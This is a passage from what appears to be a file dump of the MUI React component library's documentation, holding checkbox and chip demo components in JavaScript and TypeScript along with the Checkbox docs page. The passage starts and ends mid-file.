Killian\"\n          />\n          <FormControlLabel\n            control={\n              <Checkbox checked={antoine} onChange={handleChange} name=\"antoine\" />\n            }\n            label=\"Antoine Llorca\"\n          />\n        </FormGroup>\n        <FormHelperText>Be careful</FormHelperText>\n      </FormControl>\n      <FormControl\n        required\n        error={error}\n        component=\"fieldset\"\n        sx={{ m: 3 }}\n        variant=\"standard\"\n      >\n        <FormLabel component=\"legend\">Pick two</FormLabel>\n        <FormGroup>\n          <FormControlLabel\n            control={\n              <Checkbox checked={gilad} onChange={handleChange} name=\"gilad\" />\n            }\n            label=\"Gilad Gray\"\n          />\n          <FormControlLabel\n            control={\n              <Checkbox checked={jason} onChange={handleChange} name=\"jason\" />\n            }\n            label=\"Jason Killian\"\n          />\n          <FormControlLabel\n            control={\n              <Checkbox checked={antoine} onChange={handleChange} name=\"antoine\" />\n            }\n            label=\"Antoine Llorca\"\n          />\n        </FormGroup>\n        <FormHelperText>You can display an error</FormHelperText>\n      </FormControl>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/checkboxes/CheckboxesGroup.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport FormLabel from '@mui/material/FormLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormGroup from '@mui/material/FormGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormHelperText from '@mui/material/FormHelperText';\nimport Checkbox from '@mui/material/Checkbox';\n\nexport default function CheckboxesGroup() {\n  const [state, setState] = React.useState({\n    gilad: true,\n    jason: false,\n    antoine: false,\n  });\n\n  const handleChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setState({\n      ...state,\n      [event.target.name]: event.target.checked,\n    });\n  };\n\n  const { gilad, jason, antoine } = state;\n  const error = [gilad, jason, antoine].filter((v) => v).length !== 2;\n\n  return (\n    <Box sx={{ display: 'flex' }}>\n      <FormControl sx={{ m: 3 }} component=\"fieldset\" variant=\"standard\">\n        <FormLabel component=\"legend\">Assign responsibility</FormLabel>\n        <FormGroup>\n          <FormControlLabel\n            control={\n              <Checkbox checked={gilad} onChange={handleChange} name=\"gilad\" />\n            }\n            label=\"Gilad Gray\"\n          />\n          <FormControlLabel\n            control={\n              <Checkbox checked={jason} onChange={handleChange} name=\"jason\" />\n            }\n            label=\"Jason Killian\"\n          />\n          <FormControlLabel\n            control={\n              <Checkbox checked={antoine} onChange={handleChange} name=\"antoine\" />\n            }\n            label=\"Antoine Llorca\"\n          />\n        </FormGroup>\n        <FormHelperText>Be careful</FormHelperText>\n      </FormControl>\n      <FormControl\n        required\n        error={error}\n        component=\"fieldset\"\n        sx={{ m: 3 }}\n        variant=\"standard\"\n      >\n        <FormLabel component=\"legend\">Pick two</FormLabel>\n        <FormGroup>\n          <FormControlLabel\n            control={\n              <Checkbox checked={gilad} onChange={handleChange} name=\"gilad\" />\n            }\n            label=\"Gilad Gray\"\n          />\n          <FormControlLabel\n            control={\n              <Checkbox checked={jason} onChange={handleChange} name=\"jason\" />\n            }\n            label=\"Jason Killian\"\n          />\n          <FormControlLabel\n            control={\n              <Checkbox checked={antoine} onChange={handleChange} name=\"antoine\" />\n            }\n            label=\"Antoine Llorca\"\n          />\n        </FormGroup>\n        <FormHelperText>You can display an error</FormHelperText>\n      </FormControl>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/checkboxes/ColorCheckboxes.js",
    "content": "import { pink } from '@mui/material/colors';\nimport Checkbox from '@mui/material/Checkbox';\n\nconst label = { slotProps: { input: { 'aria-label': 'Checkbox demo' } } };\n\nexport default function ColorCheckboxes() {\n  return (\n    <div>\n      <Checkbox {...label} defaultChecked />\n      <Checkbox {...label} defaultChecked color=\"secondary\" />\n      <Checkbox {...label} defaultChecked color=\"success\" />\n      <Checkbox {...label} defaultChecked color=\"default\" />\n      <Checkbox\n        {...label}\n        defaultChecked\n        sx={{\n          color: pink[800],\n          '&.Mui-checked': {\n            color: pink[600],\n          },\n        }}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/checkboxes/ColorCheckboxes.tsx",
    "content": "import { pink } from '@mui/material/colors';\nimport Checkbox from '@mui/material/Checkbox';\n\nconst label = { slotProps: { input: { 'aria-label': 'Checkbox demo' } } };\n\nexport default function ColorCheckboxes() {\n  return (\n    <div>\n      <Checkbox {...label} defaultChecked />\n      <Checkbox {...label} defaultChecked color=\"secondary\" />\n      <Checkbox {...label} defaultChecked color=\"success\" />\n      <Checkbox {...label} defaultChecked color=\"default\" />\n      <Checkbox\n        {...label}\n        defaultChecked\n        sx={{\n          color: pink[800],\n          '&.Mui-checked': {\n            color: pink[600],\n          },\n        }}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/checkboxes/ColorCheckboxes.tsx.preview",
    "content": "<Checkbox {...label} defaultChecked />\n<Checkbox {...label} defaultChecked color=\"secondary\" />\n<Checkbox {...label} defaultChecked color=\"success\" />\n<Checkbox {...label} defaultChecked color=\"default\" />\n<Checkbox\n  {...label}\n  defaultChecked\n  sx={{\n    color: pink[800],\n    '&.Mui-checked': {\n      color: pink[600],\n    },\n  }}\n/>"
  },
  {
    "path": "docs/data/material/components/checkboxes/ControlledCheckbox.js",
    "content": "import * as React from 'react';\nimport Checkbox from '@mui/material/Checkbox';\n\nexport default function ControlledCheckbox() {\n  const [checked, setChecked] = React.useState(true);\n\n  const handleChange = (event) => {\n    setChecked(event.target.checked);\n  };\n\n  return (\n    <Checkbox\n      checked={checked}\n      onChange={handleChange}\n      slotProps={{\n        input: { 'aria-label': 'controlled' },\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/checkboxes/ControlledCheckbox.tsx",
    "content": "import * as React from 'react';\nimport Checkbox from '@mui/material/Checkbox';\n\nexport default function ControlledCheckbox() {\n  const [checked, setChecked] = React.useState(true);\n\n  const handleChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setChecked(event.target.checked);\n  };\n\n  return (\n    <Checkbox\n      checked={checked}\n      onChange={handleChange}\n      slotProps={{\n        input: { 'aria-label': 'controlled' },\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/checkboxes/ControlledCheckbox.tsx.preview",
    "content": "<Checkbox\n  checked={checked}\n  onChange={handleChange}\n  slotProps={{\n    input: { 'aria-label': 'controlled' },\n  }}\n/>"
  },
  {
    "path": "docs/data/material/components/checkboxes/CustomizedCheckbox.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Checkbox from '@mui/material/Checkbox';\n\nconst BpIcon = styled('span')(({ theme }) => ({\n  borderRadius: 3,\n  width: 16,\n  height: 16,\n  boxShadow: 'inset 0 0 0 1px rgba(16,22,26,.2), inset 0 -1px 0 rgba(16,22,26,.1)',\n  backgroundColor: '#f5f8fa',\n  backgroundImage: 'linear-gradient(180deg,hsla(0,0%,100%,.8),hsla(0,0%,100%,0))',\n  '.Mui-focusVisible &': {\n    outline: '2px auto rgba(19,124,189,.6)',\n    outlineOffset: 2,\n  },\n  'input:hover ~ &': {\n    backgroundColor: '#ebf1f5',\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#30404d',\n    }),\n  },\n  'input:disabled ~ &': {\n    boxShadow: 'none',\n    background: 'rgba(206,217,224,.5)',\n    ...theme.applyStyles('dark', {\n      background: 'rgba(57,75,89,.5)',\n    }),\n  },\n  ...theme.applyStyles('dark', {\n    boxShadow: '0 0 0 1px rgb(16 22 26 / 40%)',\n    backgroundColor: '#394b59',\n    backgroundImage: 'linear-gradient(180deg,hsla(0,0%,100%,.05),hsla(0,0%,100%,0))',\n  }),\n}));\n\nconst BpCheckedIcon = styled(BpIcon)({\n  backgroundColor: '#137cbd',\n  backgroundImage: 'linear-gradient(180deg,hsla(0,0%,100%,.1),hsla(0,0%,100%,0))',\n  '&::before': {\n    display: 'block',\n    width: 16,\n    height: 16,\n    backgroundImage:\n      \"url(\\\"data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3E%3Cpath\" +\n      \" fill-rule='evenodd' clip-rule='evenodd' d='M12 5c-.28 0-.53.11-.71.29L7 9.59l-2.29-2.3a1.003 \" +\n      \"1.003 0 00-1.42 1.42l3 3c.18.18.43.29.71.29s.53-.11.71-.29l5-5A1.003 1.003 0 0012 5z' fill='%23fff'/%3E%3C/svg%3E\\\")\",\n    content: '\"\"',\n  },\n  'input:hover ~ &': {\n    backgroundColor: '#106ba3',\n  },\n});\n\n// Inspired by blueprintjs\nfunction BpCheckbox(props) {\n  return (\n    <Checkbox\n      sx={{ '&:hover': { bgcolor: 'transparent' } }}\n      disableRipple\n      color=\"default\"\n      checkedIcon={<BpCheckedIcon />}\n      icon={<BpIcon />}\n      slotProps={{ input: { 'aria-label': 'Checkbox demo' } }}\n      {...props}\n    />\n  );\n}\n\nexport default function CustomizedCheckbox() {\n  return (\n    <div>\n      <BpCheckbox />\n      <BpCheckbox defaultChecked />\n      <BpCheckbox disabled />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/checkboxes/CustomizedCheckbox.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Checkbox, { CheckboxProps } from '@mui/material/Checkbox';\n\nconst BpIcon = styled('span')(({ theme }) => ({\n  borderRadius: 3,\n  width: 16,\n  height: 16,\n  boxShadow: 'inset 0 0 0 1px rgba(16,22,26,.2), inset 0 -1px 0 rgba(16,22,26,.1)',\n  backgroundColor: '#f5f8fa',\n  backgroundImage: 'linear-gradient(180deg,hsla(0,0%,100%,.8),hsla(0,0%,100%,0))',\n  '.Mui-focusVisible &': {\n    outline: '2px auto rgba(19,124,189,.6)',\n    outlineOffset: 2,\n  },\n  'input:hover ~ &': {\n    backgroundColor: '#ebf1f5',\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#30404d',\n    }),\n  },\n  'input:disabled ~ &': {\n    boxShadow: 'none',\n    background: 'rgba(206,217,224,.5)',\n    ...theme.applyStyles('dark', {\n      background: 'rgba(57,75,89,.5)',\n    }),\n  },\n  ...theme.applyStyles('dark', {\n    boxShadow: '0 0 0 1px rgb(16 22 26 / 40%)',\n    backgroundColor: '#394b59',\n    backgroundImage: 'linear-gradient(180deg,hsla(0,0%,100%,.05),hsla(0,0%,100%,0))',\n  }),\n}));\n\nconst BpCheckedIcon = styled(BpIcon)({\n  backgroundColor: '#137cbd',\n  backgroundImage: 'linear-gradient(180deg,hsla(0,0%,100%,.1),hsla(0,0%,100%,0))',\n  '&::before': {\n    display: 'block',\n    width: 16,\n    height: 16,\n    backgroundImage:\n      \"url(\\\"data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3E%3Cpath\" +\n      \" fill-rule='evenodd' clip-rule='evenodd' d='M12 5c-.28 0-.53.11-.71.29L7 9.59l-2.29-2.3a1.003 \" +\n      \"1.003 0 00-1.42 1.42l3 3c.18.18.43.29.71.29s.53-.11.71-.29l5-5A1.003 1.003 0 0012 5z' fill='%23fff'/%3E%3C/svg%3E\\\")\",\n    content: '\"\"',\n  },\n  'input:hover ~ &': {\n    backgroundColor: '#106ba3',\n  },\n});\n\n// Inspired by blueprintjs\nfunction BpCheckbox(props: CheckboxProps) {\n  return (\n    <Checkbox\n      sx={{ '&:hover': { bgcolor: 'transparent' } }}\n      disableRipple\n      color=\"default\"\n      checkedIcon={<BpCheckedIcon />}\n      icon={<BpIcon />}\n      slotProps={{ input: { 'aria-label': 'Checkbox demo' } }}\n      {...props}\n    />\n  );\n}\n\nexport default function CustomizedCheckbox() {\n  return (\n    <div>\n      <BpCheckbox />\n      <BpCheckbox defaultChecked />\n      <BpCheckbox disabled />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/checkboxes/CustomizedCheckbox.tsx.preview",
    "content": "<BpCheckbox />\n<BpCheckbox defaultChecked />\n<BpCheckbox disabled />"
  },
  {
    "path": "docs/data/material/components/checkboxes/FormControlLabelPosition.js",
    "content": "import Checkbox from '@mui/material/Checkbox';\nimport FormGroup from '@mui/material/FormGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\n\nexport default function FormControlLabelPosition() {\n  return (\n    <FormControl component=\"fieldset\">\n      <FormLabel component=\"legend\">Label placement</FormLabel>\n      <FormGroup aria-label=\"position\" row>\n        <FormControlLabel\n          value=\"bottom\"\n          control={<Checkbox />}\n          label=\"Bottom\"\n          labelPlacement=\"bottom\"\n        />\n        <FormControlLabel\n          value=\"end\"\n          control={<Checkbox />}\n          label=\"End\"\n          labelPlacement=\"end\"\n        />\n      </FormGroup>\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/checkboxes/FormControlLabelPosition.tsx",
    "content": "import Checkbox from '@mui/material/Checkbox';\nimport FormGroup from '@mui/material/FormGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\n\nexport default function FormControlLabelPosition() {\n  return (\n    <FormControl component=\"fieldset\">\n      <FormLabel component=\"legend\">Label placement</FormLabel>\n      <FormGroup aria-label=\"position\" row>\n        <FormControlLabel\n          value=\"bottom\"\n          control={<Checkbox />}\n          label=\"Bottom\"\n          labelPlacement=\"bottom\"\n        />\n        <FormControlLabel\n          value=\"end\"\n          control={<Checkbox />}\n          label=\"End\"\n          labelPlacement=\"end\"\n        />\n      </FormGroup>\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/checkboxes/IconCheckboxes.js",
    "content": "import Checkbox from '@mui/material/Checkbox';\nimport FavoriteBorder from '@mui/icons-material/FavoriteBorder';\nimport Favorite from '@mui/icons-material/Favorite';\nimport BookmarkBorderIcon from '@mui/icons-material/BookmarkBorder';\nimport BookmarkIcon from '@mui/icons-material/Bookmark';\n\nconst label = { slotProps: { input: { 'aria-label': 'Checkbox demo' } } };\n\nexport default function IconCheckboxes() {\n  return (\n    <div>\n      <Checkbox {...label} icon={<FavoriteBorder />} checkedIcon={<Favorite />} />\n      <Checkbox\n        {...label}\n        icon={<BookmarkBorderIcon />}\n        checkedIcon={<BookmarkIcon />}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/checkboxes/IconCheckboxes.tsx",
    "content": "import Checkbox from '@mui/material/Checkbox';\nimport FavoriteBorder from '@mui/icons-material/FavoriteBorder';\nimport Favorite from '@mui/icons-material/Favorite';\nimport BookmarkBorderIcon from '@mui/icons-material/BookmarkBorder';\nimport BookmarkIcon from '@mui/icons-material/Bookmark';\n\nconst label = { slotProps: { input: { 'aria-label': 'Checkbox demo' } } };\n\nexport default function IconCheckboxes() {\n  return (\n    <div>\n      <Checkbox {...label} icon={<FavoriteBorder />} checkedIcon={<Favorite />} />\n      <Checkbox\n        {...label}\n        icon={<BookmarkBorderIcon />}\n        checkedIcon={<BookmarkIcon />}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/checkboxes/IconCheckboxes.tsx.preview",
    "content": "<Checkbox {...label} icon={<FavoriteBorder />} checkedIcon={<Favorite />} />\n<Checkbox\n  {...label}\n  icon={<BookmarkBorderIcon />}\n  checkedIcon={<BookmarkIcon />}\n/>"
  },
  {
    "path": "docs/data/material/components/checkboxes/IndeterminateCheckbox.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Checkbox from '@mui/material/Checkbox';\nimport FormControlLabel from '@mui/material/FormControlLabel';\n\nexport default function IndeterminateCheckbox() {\n  const [checked, setChecked] = React.useState([true, false]);\n\n  const handleChange1 = (event) => {\n    setChecked([event.target.checked, event.target.checked]);\n  };\n\n  const handleChange2 = (event) => {\n    setChecked([event.target.checked, checked[1]]);\n  };\n\n  const handleChange3 = (event) => {\n    setChecked([checked[0], event.target.checked]);\n  };\n\n  const children = (\n    <Box sx={{ display: 'flex', flexDirection: 'column', ml: 3 }}>\n      <FormControlLabel\n        label=\"Child 1\"\n        control={<Checkbox checked={checked[0]} onChange={handleChange2} />}\n      />\n      <FormControlLabel\n        label=\"Child 2\"\n        control={<Checkbox checked={checked[1]} onChange={handleChange3} />}\n      />\n    </Box>\n  );\n\n  return (\n    <div>\n      <FormControlLabel\n        label=\"Parent\"\n        control={\n          <Checkbox\n            checked={checked[0] && checked[1]}\n            indeterminate={checked[0] !== checked[1]}\n            onChange={handleChange1}\n          />\n        }\n      />\n      {children}\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/checkboxes/IndeterminateCheckbox.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Checkbox from '@mui/material/Checkbox';\nimport FormControlLabel from '@mui/material/FormControlLabel';\n\nexport default function IndeterminateCheckbox() {\n  const [checked, setChecked] = React.useState([true, false]);\n\n  const handleChange1 = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setChecked([event.target.checked, event.target.checked]);\n  };\n\n  const handleChange2 = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setChecked([event.target.checked, checked[1]]);\n  };\n\n  const handleChange3 = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setChecked([checked[0], event.target.checked]);\n  };\n\n  const children = (\n    <Box sx={{ display: 'flex', flexDirection: 'column', ml: 3 }}>\n      <FormControlLabel\n        label=\"Child 1\"\n        control={<Checkbox checked={checked[0]} onChange={handleChange2} />}\n      />\n      <FormControlLabel\n        label=\"Child 2\"\n        control={<Checkbox checked={checked[1]} onChange={handleChange3} />}\n      />\n    </Box>\n  );\n\n  return (\n    <div>\n      <FormControlLabel\n        label=\"Parent\"\n        control={\n          <Checkbox\n            checked={checked[0] && checked[1]}\n            indeterminate={checked[0] !== checked[1]}\n            onChange={handleChange1}\n          />\n        }\n      />\n      {children}\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/checkboxes/IndeterminateCheckbox.tsx.preview",
    "content": "<FormControlLabel\n  label=\"Parent\"\n  control={\n    <Checkbox\n      checked={checked[0] && checked[1]}\n      indeterminate={checked[0] !== checked[1]}\n      onChange={handleChange1}\n    />\n  }\n/>\n{children}"
  },
  {
    "path": "docs/data/material/components/checkboxes/SizeCheckboxes.js",
    "content": "import Checkbox from '@mui/material/Checkbox';\n\nconst label = { slotProps: { input: { 'aria-label': 'Checkbox demo' } } };\n\nexport default function SizeCheckboxes() {\n  return (\n    <div>\n      <Checkbox {...label} defaultChecked size=\"small\" />\n      <Checkbox {...label} defaultChecked />\n      <Checkbox\n        {...label}\n        defaultChecked\n        sx={{ '& .MuiSvgIcon-root': { fontSize: 28 } }}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/checkboxes/SizeCheckboxes.tsx",
    "content": "import Checkbox from '@mui/material/Checkbox';\n\nconst label = { slotProps: { input: { 'aria-label': 'Checkbox demo' } } };\n\nexport default function SizeCheckboxes() {\n  return (\n    <div>\n      <Checkbox {...label} defaultChecked size=\"small\" />\n      <Checkbox {...label} defaultChecked />\n      <Checkbox\n        {...label}\n        defaultChecked\n        sx={{ '& .MuiSvgIcon-root': { fontSize: 28 } }}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/checkboxes/SizeCheckboxes.tsx.preview",
    "content": "<Checkbox {...label} defaultChecked size=\"small\" />\n<Checkbox {...label} defaultChecked />\n<Checkbox\n  {...label}\n  defaultChecked\n  sx={{ '& .MuiSvgIcon-root': { fontSize: 28 } }}\n/>"
  },
  {
    "path": "docs/data/material/components/checkboxes/checkboxes.md",
    "content": "---\nproductId: material-ui\ntitle: React Checkbox component\ncomponents: Checkbox, FormControl, FormGroup, FormLabel, FormControlLabel\nmaterialDesign: https://m2.material.io/components/selection-controls#checkboxes\ngithubLabel: 'scope: checkbox'\nwaiAria: https://www.w3.org/WAI/ARIA/apg/patterns/checkbox/\ngithubSource: packages/mui-material/src/Checkbox\n---\n\n# Checkbox\n\n<p class=\"description\">Checkboxes allow the user to select one or more items from a set.</p>\n\nCheckboxes can be used to turn an option on or off.\n\nIf you have multiple options appearing in a list,\nyou can preserve space by using checkboxes instead of on/off switches.\nIf you have a single option, avoid using a checkbox and use an on/off switch instead.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Basic checkboxes\n\n{{\"demo\": \"Checkboxes.js\"}}\n\n## Label\n\nYou can provide a label to the `Checkbox` thanks to the `FormControlLabel` component.\n\n{{\"demo\": \"CheckboxLabels.js\"}}\n\n## Size\n\nUse the `size` prop or customize the font size of the svg icons to change the size of the checkboxes.\n\n{{\"demo\": \"SizeCheckboxes.js\"}}\n\n## Color\n\n{{\"demo\": \"ColorCheckboxes.js\"}}\n\n## Icon\n\n{{\"demo\": \"IconCheckboxes.js\"}}\n\n## Controlled\n\nYou can control the checkbox with the `checked` and `onChange` props:\n\n{{\"demo\": \"ControlledCheckbox.js\"}}\n\n## Indeterminate\n\nA checkbox input can only have two states in a form: checked or unchecked.\nIt either submits its value or doesn't.\nVisually, there are **three** states a checkbox can be in: checked, unchecked, or indeterminate.\n\nYou can change the indeterminate icon using the `indeterminateIcon` prop.\n\n{{\"demo\": \"IndeterminateCheckbox.js\"}}\n\n:::warning\nWhen indeterminate is set, the value of the `checked` prop only impacts the form submitted values.\nIt has no accessibility or UX implications.\n:::\n\n## FormGroup\n\n`FormGroup` is a helpful wrapper used to group selection control components.\n\n{{\"demo\": \"CheckboxesGroup.js\"}}\n\n## Label placement\n\nYou can change the placement of the label:\n\n{{\"demo\": \"FormControlLabelPosition.js\"}}\n\n## Customization\n\nHere is an example of customizing the component.\nYou can learn more about this in the [overrides documentation page](/material-ui/customization/how-to-customize/).\n\n{{\"demo\": \"CustomizedCheckbox.js\"}}\n\n🎨 If you are looking for inspiration, you can check [MUI Treasury's customization examples](https://mui-treasury.com/?path=/docs/checkbox-introduction--docs).\n\n## When to use\n\n- [Checkboxes vs. Radio Buttons](https://www.nngroup.com/articles/checkboxes-vs-radio-buttons/)\n- [Checkboxes vs. Switches](https://uxplanet.org/checkbox-vs-toggle-switch-7fc6e83f10b8)\n\n## Accessibility\n\n(WAI-ARIA: https://www.w3.org/WAI/ARIA/apg/patterns/checkbox/)\n\n- All form controls should have labels, and this includes radio buttons, checkboxes, and switches. In most cases, this is done by using the `<label>` element ([FormControlLabel](/material-ui/api/form-control-label/)).\n- When a label can't be used, it's necessary to add an attribute directly to the input component.\n  In this case, you can apply the additional attribute (for example `aria-label`, `aria-labelledby`, `title`) via the `slotProps.input` prop.\n\n```jsx\n<Checkbox\n  value=\"checkedA\"\n  slotProps={{\n    input: { 'aria-label': 'Checkbox A' },\n  }}\n/>\n```\n"
  },
  {
    "path": "docs/data/material/components/chips/AvatarChips.js",
    "content": "import Avatar from '@mui/material/Avatar';\nimport Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\n\nexport default function AvatarChips() {\n  return (\n    <Stack direction=\"row\" spacing={1}>\n      <Chip avatar={<Avatar>M</Avatar>} label=\"Avatar\" />\n      <Chip\n        avatar={<Avatar alt=\"Natacha\" src=\"/static/images/avatar/1.jpg\" />}\n        label=\"Avatar\"\n        variant=\"outlined\"\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/chips/AvatarChips.tsx",
    "content": "import Avatar from '@mui/material/Avatar';\nimport Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\n\nexport default function AvatarChips() {\n  return (\n    <Stack direction=\"row\" spacing={1}>\n      <Chip avatar={<Avatar>M</Avatar>} label=\"Avatar\" />\n      <Chip\n        avatar={<Avatar alt=\"Natacha\" src=\"/static/images/avatar/1.jpg\" />}\n        label=\"Avatar\"\n        variant=\"outlined\"\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/chips/AvatarChips.tsx.preview",
    "content": "<Chip avatar={<Avatar>M</Avatar>} label=\"Avatar\" />\n<Chip\n  avatar={<Avatar alt=\"Natacha\" src=\"/static/images/avatar/1.jpg\" />}\n  label=\"Avatar\"\n  variant=\"outlined\"\n/>"
  },
  {
    "path": "docs/data/material/components/chips/BasicChips.js",
    "content": "import Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\n\nexport default function BasicChips() {\n  return (\n    <Stack direction=\"row\" spacing={1}>\n      <Chip label=\"Chip Filled\" />\n      <Chip label=\"Chip Outlined\" variant=\"outlined\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/chips/BasicChips.tsx",
    "content": "import Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\n\nexport default function BasicChips() {\n  return (\n    <Stack direction=\"row\" spacing={1}>\n      <Chip label=\"Chip Filled\" />\n      <Chip label=\"Chip Outlined\" variant=\"outlined\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/chips/BasicChips.tsx.preview",
    "content": "<Chip label=\"Chip Filled\" />\n<Chip label=\"Chip Outlined\" variant=\"outlined\" />"
  },
  {
    "path": "docs/data/material/components/chips/ChipsArray.js",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Chip from '@mui/material/Chip';\nimport Paper from '@mui/material/Paper';\nimport TagFacesIcon from '@mui/icons-material/TagFaces';\n\nconst ListItem = styled('li')(({ theme }) => ({\n  margin: theme.spacing(0.5),\n}));\n\nexport default function ChipsArray() {\n  const [chipData, setChipData] = React.useState([\n    { key: 0, label: 'Angular' },\n    { key: 1, label: 'jQuery' },\n    { key: 2, label: 'Polymer' },\n    { key: 3, label: 'React' },\n    { key: 4, label: 'Vue.js' },\n  ]);\n\n  const handleDelete = (chipToDelete) => () => {\n    setChipData((chips) => chips.filter((chip) => chip.key !== chipToDelete.key));\n  };\n\n  return (\n    <Paper\n      sx={{\n        display: 'flex',\n        justifyContent: 'center',\n        flexWrap: 'wrap',\n        listStyle: 'none',\n        p: 0.5,\n        m: 0,\n      }}\n      component=\"ul\"\n    >\n      {chipData.map((data) => {\n        let icon;\n\n        if (data.label === 'React') {\n          icon = <TagFacesIcon />;\n        }\n\n        return (\n          <ListItem key={data.key}>\n            <Chip\n              icon={icon}\n              label={data.label}\n              onDelete={data.label === 'React' ? undefined : handleDelete(data)}\n            />\n          </ListItem>\n        );\n      })}\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/chips/ChipsArray.tsx",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Chip from '@mui/material/Chip';\nimport Paper from '@mui/material/Paper';\nimport TagFacesIcon from '@mui/icons-material/TagFaces';\n\ninterface ChipData {\n  key: number;\n  label: string;\n}\n\nconst ListItem = styled('li')(({ theme }) => ({\n  margin: theme.spacing(0.5),\n}));\n\nexport default function ChipsArray() {\n  const [chipData, setChipData] = React.useState<readonly ChipData[]>([\n    { key: 0, label: 'Angular' },\n    { key: 1, label: 'jQuery' },\n    { key: 2, label: 'Polymer' },\n    { key: 3, label: 'React' },\n    { key: 4, label: 'Vue.js' },\n  ]);\n\n  const handleDelete = (chipToDelete: ChipData) => () => {\n    setChipData((chips) => chips.filter((chip) => chip.key !== chipToDelete.key));\n  };\n\n  return (\n    <Paper\n      sx={{\n        display: 'flex',\n        justifyContent: 'center',\n        flexWrap: 'wrap',\n        listStyle: 'none',\n        p: 0.5,\n        m: 0,\n      }}\n      component=\"ul\"\n    >\n      {chipData.map((data) => {\n        let icon;\n\n        if (data.label === 'React') {\n          icon = <TagFacesIcon />;\n        }\n\n        return (\n          <ListItem key={data.key}>\n            <Chip\n              icon={icon}\n              label={data.label}\n              onDelete={data.label === 'React' ? undefined : handleDelete(data)}\n            />\n          </ListItem>\n        );\n      })}\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/chips/ChipsPlayground.js",
    "content": "import * as React from 'react';\nimport Grid from '@mui/material/Grid';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport Radio from '@mui/material/Radio';\nimport Avatar from '@mui/material/Avatar';\nimport Chip from '@mui/material/Chip';\nimport FaceIcon from '@mui/icons-material/Face';\nimport DoneIcon from '@mui/icons-material/Done';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\n\nfunction ChipsPlayground() {\n  const [state, setState] = React.useState({\n    color: 'default',\n    onDelete: 'none',\n    avatar: 'none',\n    icon: 'none',\n    variant: 'filled',\n    size: 'medium',\n  });\n  const { color, onDelete, avatar, icon, variant, size } = state;\n\n  const handleChange = (event) => {\n    setState({\n      ...state,\n      [event.target.name]: event.target.value,\n    });\n  };\n\n  const handleDeleteExample = () => {\n    console.info('You clicked the delete icon.');\n  };\n\n  const colorToCode = color !== 'default' ? `color=\"${color}\" ` : '';\n  const sizeToCode = size === 'small' ? `size=\"small\" ` : '';\n  const variantToCode = variant !== 'filled' ? `variant=\"${variant}\" ` : '';\n\n  let onDeleteToCode;\n  switch (onDelete) {\n    case 'none':\n      onDeleteToCode = '';\n      break;\n    case 'custom':\n      onDeleteToCode = 'deleteIcon={<DoneIcon />} onDelete={handleDelete} ';\n      break;\n    default:\n      onDeleteToCode = 'onDelete={handleDelete} ';\n      break;\n  }\n\n  let iconToCode;\n  let iconToPlayground;\n  switch (icon) {\n    case 'none':\n      iconToCode = '';\n      break;\n    default:\n      iconToCode = 'icon={<FaceIcon />} ';\n      iconToPlayground = <FaceIcon />;\n      break;\n  }\n\n  let avatarToCode;\n  let avatarToPlayground;\n  switch (avatar) {\n    case 'none':\n      avatarToCode = '';\n      break;\n    case 'img':\n      